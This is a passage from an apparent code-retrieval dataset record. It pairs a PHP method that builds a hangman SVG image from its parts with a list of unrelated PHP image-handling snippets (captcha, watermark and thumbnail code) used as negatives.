"protected function create(array $data)\n {\n $userData = Request::all();\n $confirmationCode = str_random(30);\n\n $fields = [\n 'name' => $data['name'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n ];\n if (config('auth.providers.users.field', 'email') === 'username' && isset($data['username'])) {\n $fields['username'] = $data['username'];\n }\n\n //return User::create($fields);\n //create user with role and permisssion\n $user = new User;\n $user->name = $userData['name'];\n $user->email = $userData['email'];\n $user->password = Hash::make($userData['password']);\n $user->confirmation_code = $confirmationCode;\n $user->save();\n\n //adding roles to a user\n $user->assignRole('user');\n //adding permissions to a user\n $user->givePermissionTo('edit not allowed');\n //user id $user->id\n //save userlocation info\n $this->SaveUserMeta($user->id, \"182.185.148.11\");\n //send verification email.\n $this->SendActivationEmail($confirmationCode);\n\n return $user;\n\n }",
"public function creating(User $user)\n {\n if (empty($user->login)) {\n $user->login = $user->email;\n }\n\n if (null === $user->my_id || empty($user->my_id)) {\n $user->my_id = generateMyId();\n }\n }",
"public function registerUser() {\n $this->form_validation->set_rules('username', 'Username', 'trim|required|min_length[5]|max_length[12]|is_unique[user.username]',\n array('min_length' => 'Username length has to be between 5 & 12 characters.',\n 'max_length' => 'Username length has to be between 5 & 12 characters.',\n 'is_unique' => 'Username is already in use.'));\n $this->form_validation->set_rules('password', 'Password', 'required|min_length[8]|max_length[16]|matches[confirmPassword]',\n array('min_length' => 'Password length has to be between 8 & 16 characters.',\n 'max_length' => 'Password length has to be between 8 & 16 characters.',\n 'matches' => 'Passwords do not match.'));\n $this->form_validation->set_rules('confirmPassword', 'Password Confirmation', 'required');\n $this->form_validation->set_rules('emailAddress', 'Email Address', 'trim|required|valid_email|is_unique[user.userEmail]',\n array('valid_email' => 'Email is not valid.',\n 'is_unique' => 'Email is already in use.'));\n\n if ($this->form_validation->run() == FALSE) {\n $this->registration();\n\n } else {\n $formUsername = $this->input->post('username');\n $formPassword = $this->input->post('password');\n $formEmailAddress = $this->input->post('emailAddress');\n $this->UserManager->registerUser($formUsername, $formPassword, $formEmailAddress);\n $this->login();\n }\n }",
"protected function create(array $data)\n {\n $user = User::create([\n 'email' => $data['registerEmail'],\n 'password' => bcrypt($data['registerPassword']),\n 'status' => 'active'\n ]);\n\n $user->profile()->create($data['profile']);\n $user->travelInformation()->create($data['travel']);\n\n return $user;\n }",
"public function save(CreateUserRequest $request)\n {\n $this->authorize('create', User::class);\n\n $pass = $this->get_password($request);\n $user = User::create([\n 'name' => $request->input('name'),\n 'phone_number' => $request->input('phone_number'),\n 'email' => $request->input('email'),\n 'password' => bcrypt($pass),\n 'role_id' => $request->input('role_id', 3)\n ]);\n\n $user->notify(new AdminUserCreated($user, $pass));\n\n return redirect()->route('active_user', $user->id);\n }",
"public function createUser()\n {\n $c = $this->getConnectionWithConfig('default');\n\n // First we create the record that we need to update\n $create = 'CREATE (u:User {name: $name, email: $email, username: $username})';\n // The bindings structure is a little weird, I know\n // but this is how they are collected internally\n // so bare with it =)\n $createCypher = $c->getCypherQuery($create, array(\n 'name' => $this->user['name'],\n 'email' => $this->user['email'],\n 'username' => $this->user['username'],\n ));\n\n return $this->client->run($createCypher['statement'], $createCypher['parameters']);\n }",
"public function create(CreateUserRequest $request) {\n $user = $request->commit();\n\n //Trigger user edited event\n event(new UserCreated($user));\n\n //Reloads page\n return redirect()->action('Platform\\UserController@edit', $user)->with('alert', [\n 'type' => 'success',\n 'message' => 'User created'\n ]);\n }",
"function register_user() {\n\t\tglobal $ID, $lang, $conf, $auth, $yubikey_associations;\n\n\t\tif(!$auth->canDo('addUser')) return false;\n\n\t\t$_POST['login'] = $_POST['nickname'];\n\n\t\t// clean username\n\t\t$_POST['login'] = preg_replace('/.*:/','',$_POST['login']);\n\t\t$_POST['login'] = cleanID($_POST['login']);\n\t\t// clean fullname and email\n\t\t$_POST['fullname'] = trim(preg_replace('/[\\x00-\\x1f:<>&%,;]+/','',$_POST['fullname']));\n\t\t$_POST['email'] = trim(preg_replace('/[\\x00-\\x1f:<>&%,;]+/','',$_POST['email']));\n\n\t\tif (empty($_POST['login']) || empty($_POST['fullname']) || empty($_POST['email'])) {\n\t\t\tmsg($lang['regmissing'], -1);\n\t\t\treturn false;\n\t\t} else if (!mail_isvalid($_POST['email'])) {\n\t\t\tmsg($lang['regbadmail'], -1);\n\t\t\treturn false;\n\t\t}\n\n\t\t// okay try to create the user\n\t\tif (!$auth->createUser($_POST['login'], auth_pwgen(), $_POST['fullname'], $_POST['email'])) {\n\t\t\tmsg($lang['reguexists'], -1);\n\t\t\treturn false;\n\t\t}\n\n\t\t$user = $_POST['login'];\n\t\t$yubikey = $_SERVER['REMOTE_USER'];\n\n\t\t// if our yubikey id is based on a non-registered user, we need to chunk off the \"yubikey:\"\n\t\t// part of it\n\t\tif (preg_match('!^yubikey:!', $yubikey)) {\n\t\t\t$yubikey = substr($yubikey, 8);\n\t\t}\n\n\t\t// we update the YubiKey associations array\n\t\t$this->register_yubikey_association($user, $yubikey);\n\n\t\t$this->update_session($user);\n\n\t\t// account created, everything OK\n\t\t$this->_redirect(wl($ID));\n\t}",
"public function store(UserCreateRequest $request): UserResource\n {\n /* Convert request to array */\n $data = $request->all();\n\n /* Hashing password */\n $data['password'] = bcrypt($request->input('password'));\n\n /* Store data to database */\n $user = User::create($data);\n\n /* Send Register email to the user */\n event(new Registered($user));\n\n activity(\"Admin\")\n ->on($user)\n ->withProperties([\n ['IP' => $request->ip()],\n ['user_data' => $request->all()],\n ])\n ->log('Store a user');\n\n return new UserResource($user->loadMissing('plans'));\n }"
]
| [
"0.77523947",
"0.74900365",
"0.7475983",
"0.7475983",
"0.7475983",
"0.7475983",
"0.7418979",
"0.7418979",
"0.73626566",
"0.7310667",
"0.72906804",
"0.7172797",
"0.71538836",
"0.71376646",
"0.71314734",
"0.711611",
"0.71076417",
"0.7093154",
"0.7086479",
"0.70860976",
"0.7068182",
"0.7068182",
"0.70558774",
"0.7055038",
"0.7034446",
"0.70277023",
"0.7017171",
"0.7015014",
"0.69858396",
"0.6965429",
"0.69522315",
"0.6942356",
"0.6940608",
"0.6930439",
"0.69025475",
"0.6874989",
"0.68549657",
"0.68500966",
"0.6847774",
"0.68467",
"0.68390393",
"0.6820904",
"0.6815146",
"0.6806632",
"0.67995745",
"0.6792932",
"0.678439",
"0.6784296",
"0.6784046",
"0.67786705",
"0.6775247",
"0.67709947",
"0.6770409",
"0.6769475",
"0.67579705",
"0.674469",
"0.6741053",
"0.6738604",
"0.6734855",
"0.6725202",
"0.6717405",
"0.6712474",
"0.6699088",
"0.66936225",
"0.6693161",
"0.6692129",
"0.6691984",
"0.66911995",
"0.66908324",
"0.66889334",
"0.66834056",
"0.66823196",
"0.6680575",
"0.66775405",
"0.66744626",
"0.66734296",
"0.66717756",
"0.6668072",
"0.6659507",
"0.6656009",
"0.6652059",
"0.6648556",
"0.6646911",
"0.6639355",
"0.6633071",
"0.66292834",
"0.6625639",
"0.6625357",
"0.6624335",
"0.6621834",
"0.66173345",
"0.6614486",
"0.6608278",
"0.6602006",
"0.66006684",
"0.6598916",
"0.65960526",
"0.65959054",
"0.65949327",
"0.6585261",
"0.65682805"
]
| 0.0 | -1 |
Internal variables Constructor Automatically called when the object is created. | public function __construct() {
;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"final private function __construct() {\n\t\t\t}",
"private function __construct()\t{}",
"final private function __construct()\n {\n }",
"final private function __construct()\n\t{\n\t}",
"private function __construct() {\r\n\t\r\n\t}",
"final private function __construct(){\r\r\n\t}",
"function _construct() {\n \t\n\t\t\n\t}",
"private function __construct() {\n\t\t}",
"private function __construct()\r\n\t{\r\n\t\r\n\t}",
"private function __construct()\r\n\t{\r\n\t}",
"private function __construct()\n\t{\n\t\t\n\t}",
"final private function __construct() {}",
"final private function __construct() {}",
"private function __construct()\r\r\n\t{\r\r\n\t}",
"private function __construct() {\r\n\t\t\r\n\t}",
"final private function __construct() { }",
"final private function __construct() { }",
"final private function __construct() { }",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct(){}",
"private function __construct() {\r\n\t}",
"private function __construct() {\r\n\t}",
"private function __construct( )\n {\n\t}",
"public function __construct()\n\t\t{\n\t\t\t//\n\t\t}",
"private function __construct()\n\t{\n\n\t}",
"public function _construct()\n\t{\n\n\t}",
"public function __construct()\n\t\t{\n\t\t\t# code...\n\t\t}",
"protected function __init__() { }",
"public function __construct() {\n\t\t// Intentionally left empty.\n\t}",
"protected function __construct()\r\n\t\t{\r\n\t\t}",
"final private function __construct()\n {\n }",
"final private function __construct()\n {\n }",
"private function __construct() { \n\t\t\n\n\t}",
"private function __construct () \n\t{\n\t}",
"protected final function __construct() {}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"private function __construct()\n\t{\n\t}",
"function __construct(){\n\t\t// nowt much...\n\t}",
"protected function __construct() {\n\t\t\n\t}",
"protected function __construct() {\n\t\t\n\t}",
"public function __construct() {\n\t\t// Nothing to do.\n\t}",
"private function __construct()\r\n\t\t{\r\n\r\n\t\t\t/* Do Nothing */\r\n\r\n\t\t}",
"function __construct() {\n\n\t\t}",
"private function __construct () {}",
"public function __construct()\n\t{\n\t\t// DO NOT! call parent::__construct(); as otherwise we will end up having references in this class.\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct() {\n\t}",
"private function __construct()\r\n {}",
"private function __construct(){\n\t\t }",
"function _construct(){ }",
"public function __construct() { \n\t\t\n\n\t\t}",
"public function __construct()\r\n\t\t{\r\n\t\t}",
"private function __construct(){\n\t\n\t}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}",
"private function __construct() {}"
]
| [
"0.8863236",
"0.86580503",
"0.86511135",
"0.8635481",
"0.86186725",
"0.8617337",
"0.8594276",
"0.85940236",
"0.8590161",
"0.85038495",
"0.8483666",
"0.8478543",
"0.8478543",
"0.8477349",
"0.8473288",
"0.8464129",
"0.8464129",
"0.8464129",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.844827",
"0.84414864",
"0.84414864",
"0.8439974",
"0.84396064",
"0.84355605",
"0.84177005",
"0.8405415",
"0.8394462",
"0.83914256",
"0.83899385",
"0.83883864",
"0.83883864",
"0.8383277",
"0.8375754",
"0.837324",
"0.83630264",
"0.83630264",
"0.83630264",
"0.83630264",
"0.83630264",
"0.83630264",
"0.83630264",
"0.83630264",
"0.83630264",
"0.8356309",
"0.83556306",
"0.83556306",
"0.83535373",
"0.8343744",
"0.83290887",
"0.83288234",
"0.8322367",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.83105105",
"0.830833",
"0.8287327",
"0.8286339",
"0.82797503",
"0.82687235",
"0.82644385",
"0.82605976",
"0.82605976",
"0.82605976",
"0.82605976",
"0.82605976",
"0.82605976",
"0.82605976",
"0.82605976",
"0.82605976"
]
| 0.0 | -1 |
end function __construct Destructor Automatically called when the object is destroyed. | public function __destruct() {
;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function __destruct() {\r\n $this->Initialize();\r\n }",
"function __destruct()\n {\n //析构函数\n\n }",
"public function __destruct ()\n\t\t{\n\t\t\t/*---- Blank -----*/\n\t\t}",
"public function __destruct () {\n \n }",
"public function __destruct()\r\n\t\t{\t\t\t\r\n\t\t}",
"public function __destruct(){}",
"public function __destruct(){}",
"public function __destruct(){}",
"public function __destruct ()\n\t{\n\t}",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"public function __destruct(){\n }",
"public function __destruct(){\n }",
"function __destruct(){\n\n }",
"public function __construct()\n {\n // Register the Destructor to be called\n // This is needed in case of Abnormal termination of script caused by FATAL error\n // in which case, the object destructor is not called\n register_shutdown_function(array(&$this, \"__destruct\"));\n\n return;\n }",
"public function __destruct() {\t\n\n }",
"function __destruct()\n {\n }",
"function __destruct()\n {\n }",
"function __destruct()\n {\n }",
"public function __destruct()\r\n\r\n {}",
"public function __destruct(){ }",
"private function __destruct() {}",
"public function __destruct()\r\n {\r\n }",
"public function __destruct() {\n\t\t\n\t}",
"public function __destruct() {\n\n\t\t}",
"public function __destruct() {\r\n }",
"public function __destruct()\r\n {\r\n }",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"public function __destruct() {\r\n\t}",
"public function __destruct() {\n\n\t}",
"public function __destruct()\n\t{\n\t}",
"public function __destruct(){\n\t}",
"public function __destruct(){\n\t}",
"public function __destruct(){\n\t}",
"public\tfunction\t__destruct() {\n\t\t\t/**\n\t\t\t * Handle destruction here. \n\t\t\t */\n\t\t}",
"public function __destruct()\n {}",
"public function __destruct()\n {}",
"public function __destruct()\n {}",
"function __destruct()\n\t\t{\n\t\t\tparent::__destruct();\n\t\t}",
"public function __destruct() \r\n {\r\n //..\r\n }",
"public function __destruct() \r\n {\r\n //..\r\n }",
"public function __destruct() { }",
"public function __destruct() { }",
"public function __destruct() { }",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"public function __destruct() {}",
"function __destruct()\r\t{\r\t}",
"public function __destruct()\n {\n\n }",
"public function __destruct();",
"public function __destruct();",
"public function __destruct() {\n\t}",
"public function __destruct() {\n\t}",
"public function __destruct(){\n }",
"function __destruct(){}",
"function __destruct() {\t\n\t\tparent::__destruct(); \n }",
"function __destruct() {\t\n\t\tparent::__destruct(); \n }",
"function __destruct() {\t\n\t\tparent::__destruct(); \n }",
"function __destruct() {\t\n\t\tparent::__destruct(); \n }",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"public function __destruct()\n {\n }",
"function __destruct()\n\t{\n\t\t\n\t\t\n\t}",
"public function __destruct(){unset($this);}",
"public function __destruct() {\n }",
"public function __destruct() {\n }",
"public function __destruct(){\n\n }",
"public function __destruct()\n {\n // Vacio por el momento.\n }",
"function __destruct() \n\t{\n\t\t;\n }",
"function __destruct()\n {\n }",
"function __destruct()\n {\n }",
"function __destruct()\n {\n }",
"public function __destruct(){\n\n }",
"function __destruct() {\r\n parent::__destruct();\r\n }",
"function __destruct() {\r\n\t\t//\r\n\t}",
"function __destruct(){\n }",
"function __destruct(){\n\n\t}",
"function __destruct() {\n\n }",
"function __destruct() {\n }",
"function __destruct() {\n }",
"function __destruct() {\n }",
"function __destruct() {\r\n\t}",
"function __destruct() {\r\n\t}"
]
| [
"0.8316806",
"0.82135016",
"0.8181618",
"0.81291956",
"0.8115303",
"0.808577",
"0.808577",
"0.808577",
"0.80611515",
"0.80513656",
"0.80510885",
"0.8050094",
"0.8050094",
"0.8046214",
"0.8038319",
"0.80328995",
"0.8028939",
"0.8028939",
"0.8028939",
"0.8018535",
"0.801169",
"0.8000291",
"0.7997806",
"0.7995848",
"0.79920816",
"0.7988123",
"0.7966361",
"0.79603255",
"0.79603255",
"0.79603255",
"0.79603255",
"0.79603255",
"0.79576534",
"0.7955119",
"0.79500735",
"0.7932241",
"0.7932241",
"0.7932241",
"0.7920295",
"0.79176486",
"0.79176486",
"0.79176486",
"0.7916834",
"0.79167277",
"0.79167277",
"0.7916683",
"0.7916683",
"0.7916683",
"0.78914875",
"0.78914875",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7891361",
"0.7890726",
"0.7889878",
"0.7888728",
"0.7888036",
"0.7888036",
"0.787975",
"0.787975",
"0.78777266",
"0.78734964",
"0.7871115",
"0.7871115",
"0.7871115",
"0.7871115",
"0.78530884",
"0.78530884",
"0.78530884",
"0.78400666",
"0.78386277",
"0.78330195",
"0.78330195",
"0.782692",
"0.7826841",
"0.78237313",
"0.78207994",
"0.78207994",
"0.78207994",
"0.7801823",
"0.7797522",
"0.7790805",
"0.7785685",
"0.777575",
"0.7761907",
"0.7760856",
"0.7760856",
"0.7760856",
"0.7752761",
"0.7752761"
]
| 0.0 | -1 |
end function __destruct Create the whole picture and return as string | public function DrawPicture() {
$hogerarm = $this->GetHogerArm();
$vansterarm = $this->GetVansterArm();
$vansterben = $this->GetVansterBen();
$hogerben = $this->GetHogerBen();
$kroppen = $this->GetKroppen();
$huvud = $this->GetHuvud();
$repet = $this->GetRepet();
$stolpen = $this->GetStolpen();
$kullen = $this->GetKullen();
$header = $this->GetSvgHeader();
$html = <<<EOD
{$header}
{$kullen}
{$stolpen}
{$kroppen}
{$hogerarm}
{$vansterarm}
{$vansterben}
{$hogerben}
{$repet}
{$huvud}
</svg>
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n $met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"public function create_image(){\n\t\t$md5_hash = md5(rand(0,999));\n\t\t$security_code = substr($md5_hash, 15, 5);\n\t\t$this->Session->write('security_code',$security_code);\n\t\t$width = 80;\n\t\t$height = 22;\n\t\t$image = ImageCreate($width, $height);\n\t\t$black = ImageColorAllocate($image, 37, 170, 226);\n\t\t$white = ImageColorAllocate($image, 255, 255, 255);\n\t\tImageFill($image, 0, 0, $black);\n\t\tImageString($image, 5, 18, 3, $security_code, $white);\n\t\theader(\"Content-Type: image/jpeg\");\n\t\tImageJpeg($image);\n\t\tImageDestroy($image);\n\t}",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"public function image();",
"public function image();",
"protected function dumpImage():string{\n\t\tob_start();\n\n\t\ttry{\n\n\t\t\tswitch($this->options->outputType){\n\t\t\t\tcase QROutputInterface::GDIMAGE_GIF:\n\t\t\t\t\timagegif($this->image);\n\t\t\t\t\tbreak;\n\t\t\t\tcase QROutputInterface::GDIMAGE_JPG:\n\t\t\t\t\timagejpeg($this->image, null, max(0, min(100, $this->options->jpegQuality)));\n\t\t\t\t\tbreak;\n\t\t\t\t// silently default to png output\n\t\t\t\tcase QROutputInterface::GDIMAGE_PNG:\n\t\t\t\tdefault:\n\t\t\t\t\timagepng($this->image, null, max(-1, min(9, $this->options->pngCompression)));\n\t\t\t}\n\n\t\t}\n\t\t// not going to cover edge cases\n\t\t// @codeCoverageIgnoreStart\n\t\tcatch(Throwable $e){\n\t\t\tthrow new QRCodeOutputException($e->getMessage());\n\t\t}\n\t\t// @codeCoverageIgnoreEnd\n\n\t\t$imageData = ob_get_contents();\n\t\timagedestroy($this->image);\n\n\t\tob_end_clean();\n\n\t\treturn $imageData;\n\t}",
"public function clear()\n\t{\n\t\t$props = array('thumb_marker', 'library_path', 'source_image', 'new_image', 'width', 'height', 'rotation_angle', 'x_axis', 'y_axis', 'wm_text', 'wm_overlay_path', 'wm_font_path', 'wm_shadow_color', 'source_folder', 'dest_folder', 'mime_type', 'orig_width', 'orig_height', 'image_type', 'size_str', 'full_src_path', 'full_dst_path');\n\n\t\tforeach ($props as $val)\n\t\t{\n\t\t\t$this->$val = '';\n\t\t}\n\n\t\t$this->image_library \t\t= 'gd2';\n\t\t$this->dynamic_output \t\t= FALSE;\n\t\t$this->quality \t\t\t\t= 90;\n\t\t$this->create_thumb \t\t= FALSE;\n\t\t$this->thumb_marker \t\t= '_thumb';\n\t\t$this->maintain_ratio \t\t= TRUE;\n\t\t$this->master_dim \t\t\t= 'auto';\n\t\t$this->wm_type \t\t\t\t= 'text';\n\t\t$this->wm_x_transp \t\t\t= 4;\n\t\t$this->wm_y_transp \t\t\t= 4;\n\t\t$this->wm_font_size \t\t= 17;\n\t\t$this->wm_vrt_alignment \t= 'B';\n\t\t$this->wm_hor_alignment \t= 'C';\n\t\t$this->wm_padding \t\t\t= 0;\n\t\t$this->wm_hor_offset \t\t= 0;\n\t\t$this->wm_vrt_offset \t\t= 0;\n\t\t$this->wm_font_color\t\t= '#ffffff';\n\t\t$this->wm_shadow_distance \t= 2;\n\t\t$this->wm_opacity \t\t\t= 50;\n\t\t$this->create_fnc \t\t\t= 'imagecreatetruecolor';\n\t\t$this->copy_fnc \t\t\t= 'imagecopyresampled';\n\t\t$this->error_msg \t\t\t= array();\n\t\t$this->wm_use_drop_shadow \t= FALSE;\n\t\t$this->wm_use_truetype \t\t= FALSE;\n\t}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function gen_thumbnail()\n {\n }",
"public function gen_thumbnail()\n {\n }",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage() {}",
"public function toGDImage() {}",
